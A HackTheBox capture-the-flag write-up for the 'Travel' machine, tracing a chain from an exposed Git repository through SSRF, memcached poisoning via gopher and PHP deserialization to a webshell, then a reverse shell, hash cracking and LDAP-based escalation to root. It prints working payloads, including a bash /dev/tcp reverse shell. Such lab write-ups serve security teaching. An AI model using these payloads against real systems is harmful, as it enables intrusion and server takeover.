HTB: Travel Writeup
Travel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Travel |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 12 Sep 2020 |
| IP Address | 10.10.10.189 |
| Author | xct & jkr |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Travel is a hard difficulty Linux machine that showcases a sophisticated multi-stage attack chain involving SSRF, memcached cache poisoning, and PHP deserialization. Initial enumeration reveals multiple vhosts including a development server exposing a Git repository. Source code analysis reveals an SSRF vulnerability in a custom WordPress RSS plugin alongside a dangerous PHP deserialization gadget. By leveraging SSRF to inject a malicious serialized object into memcached via the Gopher protocol, we achieve remote code execution on a containerized WordPress instance. Lateral movement to the host is accomplished by cracking a WordPress admin password hash found in a database backup. Finally, privilege escalation exploits LDAP administrative access to inject SSH public keys into user attributes, followed by modifying group membership to gain root access.
TL;DR: Git repo disclosure → SSRF + Gopher protocol → memcached poisoning → PHP deserialization RCE (container) → WordPress hash crack → SSH to host → LDAP admin access → SSH key injection + group escalation → root
Reconnaissance
Port Scanning
# Initial TCP scan for all portsnmap -p- --min-rate=1000 -T4 10.10.10.189
# Detailed service enumeration on discovered portsnmap -p22,80,443 -sC -sV 10.10.10.189Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.17.6443/tcp open ssl/http nginx 1.17.6Service Enumeration
SSL Certificate Analysis
The SSL certificate on port 443 revealed multiple Subject Alternative Names (SANs), indicating the presence of virtual hosts:
travel.htbwww.travel.htbblog.travel.htbblog-dev.travel.htb
These were added to /etc/hosts:
echo "10.10.10.189 travel.htb www.travel.htb blog.travel.htb blog-dev.travel.htb" | sudo tee -a /etc/hostsHTTP/HTTPS Enumeration
travel.htb - Static travel agency website with no apparent vulnerabilities.
blog.travel.htb - WordPress installation with an “Awesome RSS” custom feed feature accessible at /awesome-rss/.
blog-dev.travel.htb - Returns 403 Forbidden, indicating potential hidden content.
Directory Bruteforcing
# Enumerate blog-dev vhost for hidden directoriesgobuster dir -u http://blog-dev.travel.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50Key Finding: Discovered exposed .git directory at http://blog-dev.travel.htb/.git/
Git Repository Extraction
# Clone git-dumper toolgit clone https://github.com/arthaud/git-dumpercd git-dumper
# Dump the exposed Git repositorypython3 git_dumper.py http://blog-dev.travel.htb/.git/ ./travel-git
# Examine extracted filescd travel-gitls -laExtracted files:
README.md- Project documentationrss_template.php- WordPress RSS template implementationtemplate.php- Core template helper classes and functions
Vulnerability Assessment
Identified vulnerabilities:
- Exposed Git Repository - Source code disclosure on
blog-dev.travel.htb - SSRF (Server-Side Request Forgery) - Weak URL validation in
url_get_contents()function - PHP Deserialization - Dangerous
TemplateHelperclass with__wakeup()magic method - Memcached Access - Internal memcached service accessible via SSRF
Initial Foothold
Source Code Analysis
rss_template.php
This file implements the custom RSS feed functionality:
<?phpfunction get_feed($url){ require_once ABSPATH . '/wp-includes/class-simplepie.php'; $simplepie = null; $data = url_get_contents($url); // SSRF vulnerability vector if ($url) { $simplepie = new SimplePie(); // Memcached caching with prefix 'xct_' $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_'); $simplepie->set_feed_url($url); $simplepie->init(); // ... error handling } return $simplepie;}
// Accepts custom feed URLs via GET parameter$url = $_SERVER['QUERY_STRING'];if(strpos($url, "custom_feed_url") !== false){ $tmp = (explode("=", $url)); $url = end($tmp);} else { $url = "http://www.travel.htb/newsfeed/customfeed.xml";}$feed = get_feed($url);?>Key observations:
- Custom feed URLs accepted via
custom_feed_urlparameter - Memcached caching at
127.0.0.1:11211with prefixxct_ - Data fetched via
url_get_contents()function
template.php - SSRF Vulnerability
function safe($url){ // Weak security checks $tmpUrl = urldecode($url);
// Blocks file:// and @ symbol if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false) { die("<h2>Hacking attempt prevented (LFI).</h2>"); }
// Blocks curl options if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false) { die("<h2>Hacking attempt prevented (Command Injection).</h2>"); }
$tmp = parse_url($url, PHP_URL_HOST);
// Weak localhost protection - only checks string match if($tmp == "localhost" or $tmp == "127.0.0.1") { die("<h2>Hacking attempt prevented (Internal SSRF).</h2>"); }
return $url;}
function url_get_contents ($url) { $url = safe($url); $url = escapeshellarg($url); $pl = "curl ".$url; // Executes curl with user-supplied URL $output = shell_exec($pl); return $output;}Bypass techniques:
- The localhost check only validates string literals
"localhost"and"127.0.0.1" - Can be bypassed using decimal IP notation:
2130706433(decimal for127.0.0.1) - The
gopher://protocol is not blocked, allowing raw TCP communication
template.php - Deserialization Gadget
class TemplateHelper{ private $file; private $data;
public function __construct(string $file, string $data) { $this->init($file, $data); }
// Magic method called on deserialization public function __wakeup() { $this->init($this->file, $this->data); }
private function init(string $file, string $data) { $this->file = $file; $this->data = $data; // Writes arbitrary data to logs directory file_put_contents(__DIR__.'/logs/'.$this->file, $this->data); }}Exploitation vector:
__wakeup()magic method triggers on deserialization- Allows arbitrary file write to
logs/directory - Can be leveraged to write a PHP webshell
SSRF Testing
# Start HTTP server to verify SSRFpython3 -m http.server 80
# Test SSRF by requesting custom feed URLcurl "http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.X/"Result: HTTP server receives request, confirming SSRF vulnerability.
Memcached Key Calculation
SimplePie generates cache keys using the following formula:
# Key format: xct_<hash># Where hash = md5(md5(feed_url) + ":spc")
echo -n 'http://www.travel.htb/newsfeed/customfeed.xml' | md5sum# Output: <redacted>
echo -n '<redacted>:spc' | md5sum# Output: <redacted>
# Final key: xct_4e5612ba079c530a6b1f148c0b352241Gopher Protocol for Memcached Poisoning
The Gopher protocol allows raw TCP communication, perfect for injecting commands into memcached:
# Gopher syntax for memcached SET commandgopher://127.0.0.1:11211/_<url_encoded_memcached_commands>
# Memcached SET command syntax:# set <key> <flags> <exptime> <bytes># <data>
# Example: set test_key 0 0 4# testURL encoding requirements:
\r\n→%0d%0a- Spaces →
%20 - Leading
_after port number
Crafting Malicious Payload
<?php// Generate malicious serialized objectclass TemplateHelper{ // Must be public for deserialization to work public $file; public $data;
public function __construct(string $file, string $data) { $this->file = $file; $this->data = $data; }}
// Create object that writes webshell$payload = new TemplateHelper("shell.php", "<?php system(\$_GET[0]); ?>");
// Serialize and outputecho serialize($payload);?>Generated payload:
O:14:"TemplateHelper":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}Payload length: 98 bytes
Memcached Injection via SSRF
# Construct Gopher URL to poison memcached cache key# Format: set xct_4e5612ba079c530a6b1f148c0b352241 0 0 98# <serialized_payload>
# URL-encode the memcached commandsgopher://2130706433:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%200%200%2098%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3B%20%3F%3E%22%3B%7D%0d%0aBreaking down the attack:
- Bypass localhost filter: Use
2130706433(decimal IP for127.0.0.1) - Protocol:
gopher://for raw memcached communication - Port:
11211(memcached default) - Command:
set xct_4e5612ba079c530a6b1f148c0b352241 0 0 98- Sets the SimplePie cache key - Payload: Serialized
TemplateHelperobject that writesshell.php
Exploitation Steps
# Step 1: Poison the memcached cachecurl "http://blog.travel.htb/awesome-rss/?custom_feed_url=gopher://2130706433:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%200%200%2098%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a"
# Step 2: Trigger deserialization by requesting the RSS feed with default URLcurl "http://blog.travel.htb/awesome-rss/"# This forces SimplePie to retrieve and deserialize our poisoned cache entry# The __wakeup() method executes, writing shell.php to the logs directory
# Step 3: Verify webshell was writtencurl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/shell.php?0=id"Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Why this works:
- SimplePie retrieves the feed URL from memcached using the calculated key
- The
load()method inSimplePie_Cache_Memcachedcallsunserialize()on the cached data - PHP’s
unserialize()instantiates ourTemplateHelperobject - The
__wakeup()magic method automatically executes file_put_contents()writes our webshell tologs/shell.php
Reverse Shell
# Start netcat listenernc -lvnp 4444
# Execute reverse shell via webshellcurl -G "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/shell.php" \ --data-urlencode '0=bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"'Shell obtained as www-data in a Docker container.
Lateral Movement (Container → Host)
Container Enumeration
# Check container environmenthostname # Returns something like 'blog-container'ip addr # Shows container network interface
# Search for backup filesfind / -name "*backup*" 2>/dev/nullfind / -name "*.sql" 2>/dev/nullWordPress Backup Discovery
# Found SQL backup in WordPress directoryls -la /opt/wordpress/# -rw-r--r-- 1 root root 8529408 Apr 13 2020 backup-13-04-2020.sql
# Extract password hashesgrep -i "INSERT INTO \`wp_users\`" /opt/wordpress/backup-13-04-2020.sqlExtracted hash:
lynik-admin:$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.Password Cracking
# Save hash to fileecho '$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.' > lynik.hash
# Crack with John the Ripperjohn lynik.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Result: 1stepcloserHash type: PHPass (WordPress/Drupal hash format)
SSH Access to Host
# SSH as lynik-adminssh lynik-admin@10.10.10.189# Password: 1stepcloserUser flag obtained:
cat /home/lynik-admin/user.txtPrivilege Escalation
LDAP Enumeration
# Check user's home directoryls -la ~/
# Found LDAP configurationcat ~/.ldaprcContents:
HOST ldap.travel.htbBASE dc=travel,dc=htbBINDDN cn=lynik-admin,dc=travel,dc=htbVim History Analysis
# Examine vim history for sensitive datacat ~/.viminfoKey finding:
# Registers:""1 LINE 0 BINDPW TheroadlesstraveledWhy this matters: The .viminfo file stores deleted content from Vim sessions. The LDAP bind password was previously in .ldaprc but was deleted, leaving a trace in .viminfo.
LDAP Container Discovery
# Check network configurationip addr# Shows 172.20.0.1 network
# Scan for LDAP serviceping -c 1 172.20.0.10 # Responds
# LDAP typically runs on port 389nc -zv 172.20.0.10 389 # OpenLDAP Querying
# Query LDAP with discovered credentialsldapsearch -x -H ldap://172.20.0.10 -b "dc=travel,dc=htb" \ -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled"Key finding in output:
# lynik-admin, travel.htbdn: cn=lynik-admin,dc=travel,dc=htbdescription: LDAP administratorobjectClass: simpleSecurityObjectobjectClass: organizationalRolecn: lynik-adminuserPassword:: {SSHA}0JaezQ...Significance: lynik-admin has LDAP administrative privileges, allowing modification of user attributes.
LDAP User Discovery
# List all LDAP usersldapsearch -x -H ldap://172.20.0.10 -b "dc=travel,dc=htb" \ -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" \ "(objectClass=inetOrgPerson)" cnFound users:
lynik(regular domain user)brian(regular domain user)jerry(regular domain user)
SSH Configuration Analysis
# Check SSH server configurationcat /etc/ssh/sshd_configKey settings:
AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeysAuthorizedKeysCommandUser nobodyPasswordAuthentication no
Match User trvl-admin,lynik-admin PasswordAuthentication yesWhy this matters:
- SSH retrieves authorized keys via
sss_ssh_authorizedkeysfrom LDAP - LDAP attribute
sshPublicKeystores SSH public keys - We can inject our SSH key into LDAP to authenticate as other users
SSH Key Injection Attack
# Generate SSH key pairssh-keygen -t rsa -b 2048 -f travel_key# Public key: travel_key.pub# Private key: travel_key
# Read public keycat travel_key.pubLDAP Modification - Add SSH Key
Create LDIF file to add SSH key attribute:
cat > add_ssh_key.ldif << 'EOF'dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htbchangetype: modifyadd: objectClassobjectClass: ldapPublicKey-add: sshPublicKeysshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@kaliEOF
# Apply LDIF modificationldapmodify -x -H ldap://172.20.0.10 \ -D "cn=lynik-admin,dc=travel,dc=htb" \ -w "Theroadlesstraveled" \ -f add_ssh_key.ldifWhy this works:
objectClass: ldapPublicKeyenables SSH key storage for the usersshPublicKeyattribute stores the actual public key- SSSD (System Security Services Daemon) queries LDAP for SSH keys
- SSH server accepts our injected key for authentication
SSH as lynik
# SSH using injected private keyssh -i travel_key lynik@10.10.10.189Note: User lynik has limited privileges and is not in sudoers.
Group Escalation via LDAP
# Check current groupsid lynik# uid=10000(lynik) gid=10000(lynik) groups=10000(lynik)
# Check sudo group GIDgetent group sudo# sudo:x:27:Strategy: Modify the gidNumber LDAP attribute to change primary group to sudo (GID 27).
# Create LDIF to change GIDcat > change_gid.ldif << 'EOF'dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htbchangetype: modifyreplace: gidNumbergidNumber: 27EOF
# Apply modificationldapmodify -x -H ldap://172.20.0.10 \ -D "cn=lynik-admin,dc=travel,dc=htb" \ -w "Theroadlesstraveled" \ -f change_gid.ldifRoot Access
# Logout and re-login to apply group changesexit
# SSH back inssh -i travel_key lynik@10.10.10.189
# Verify group membershipid# uid=10000(lynik) gid=27(sudo) groups=27(sudo)
# Escalate to rootsudo -i# [sudo] password for lynik: <enter any password># (Group membership grants sudo access)
# Alternative: sudo without password if configuredsudo su -Root flag obtained:
cat /root/root.txtAttack Chain Summary
Port Scan → SSL vhost discovery ↓Git repo enumeration (blog-dev.travel.htb/.git) ↓Source code analysis (SSRF + deserialization gadget) ↓SSRF bypass (decimal IP 2130706433) ↓Gopher protocol memcached poisoning (inject serialized payload) ↓PHP deserialization RCE via SimplePie cache ↓www-data shell (Docker container) ↓WordPress backup SQL → lynik-admin hash crack (1stepcloser) ↓SSH to host as lynik-admin ↓.viminfo disclosure → LDAP bind password (Theroadlesstraveled) ↓LDAP admin access → SSH key injection into lynik user ↓LDAP GID modification → sudo group (GID 27) ↓Root access via sudoTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
git-dumper | Extracting exposed Git repositories |
curl | HTTP requests and SSRF exploitation |
john | Cracking PHPass WordPress password hashes |
ldapsearch | Querying LDAP directory information |
ldapmodify | Modifying LDAP user attributes |
ssh-keygen | Generating SSH key pairs for injection |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- SSRF exploitation with protocol bypass (Gopher) and localhost filter evasion (decimal IP)
- Memcached manipulation via Gopher protocol for cache poisoning attacks
- PHP deserialization attacks using magic methods (
__wakeup) as gadgets - SimplePie cache key calculation to predict and poison specific cache entries
- LDAP enumeration and exploitation including attribute injection
- SSH key injection via LDAP
sshPublicKeyattributes - Group-based privilege escalation through LDAP attribute modification
- Container escape via credential reuse and lateral movement
Lessons Learned
-
Git repository exposure is critical - Even development servers can leak complete source code and sensitive implementation details through
.gitdirectories. Always check for version control artifacts. -
SSRF filters must validate comprehensively - Simple string matching for “localhost” and “127.0.0.1” fails against:
- Decimal IP notation (2130706433)
- Octal notation (0177.0.0.1)
- Hexadecimal notation (0x7f.0.0.1)
- DNS rebinding attacks
-
Gopher protocol enables powerful SSRF exploitation - The Gopher protocol can interact with plaintext services like memcached, Redis, and SMTP, turning SSRF into much more dangerous attacks.
-
Deserialization requires careful analysis - The
TemplateHelperclass became an exploitable gadget because:- Magic methods (
__wakeup) execute automatically during deserialization - The class performed dangerous operations (
file_put_contents) without validation - Private properties required public exposure in the serialized payload
- Magic methods (
-
Cache poisoning is a valid attack vector - Applications caching serialized objects create deserialization attack surfaces, especially when cache keys are predictable or controllable.
-
Credential reuse between environments is common - The WordPress admin password from the container worked for SSH on the host, demonstrating poor password hygiene in development/production splits.
-
Vim history files can leak secrets -
.viminfostores command history, search patterns, and deleted content. Always check these auxiliary files for sensitive data that developers may have “deleted.” -
LDAP attribute injection is a privilege escalation vector - With LDAP admin rights, attackers can:
- Inject SSH public keys via
sshPublicKeyattributes - Modify group membership via
gidNumberchanges - Alter password hashes (though authentication may be cached)
- Inject SSH public keys via
-
SSSD and PAM integration creates unique attack surfaces - Understanding how Linux authentication systems integrate with LDAP reveals non-traditional privilege escalation paths that don’t rely on kernel exploits or SUID binaries.
-
Defense in depth failed at multiple layers - This machine demonstrated failures in:
- Source code protection (Git exposure)
- Input validation (SSRF filters)
- Secure coding practices (deserialization)
- Network segmentation (container to host lateral movement)
- Credential management (password reuse, .viminfo disclosure)
- Access control (LDAP admin rights allowing privilege escalation)
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup referenced the official HackTheBox writeup for Travel by MinatoTW (Document No D20.100.86) for explanatory details on SimplePie cache key calculation and LDAP attribute exploitation concepts.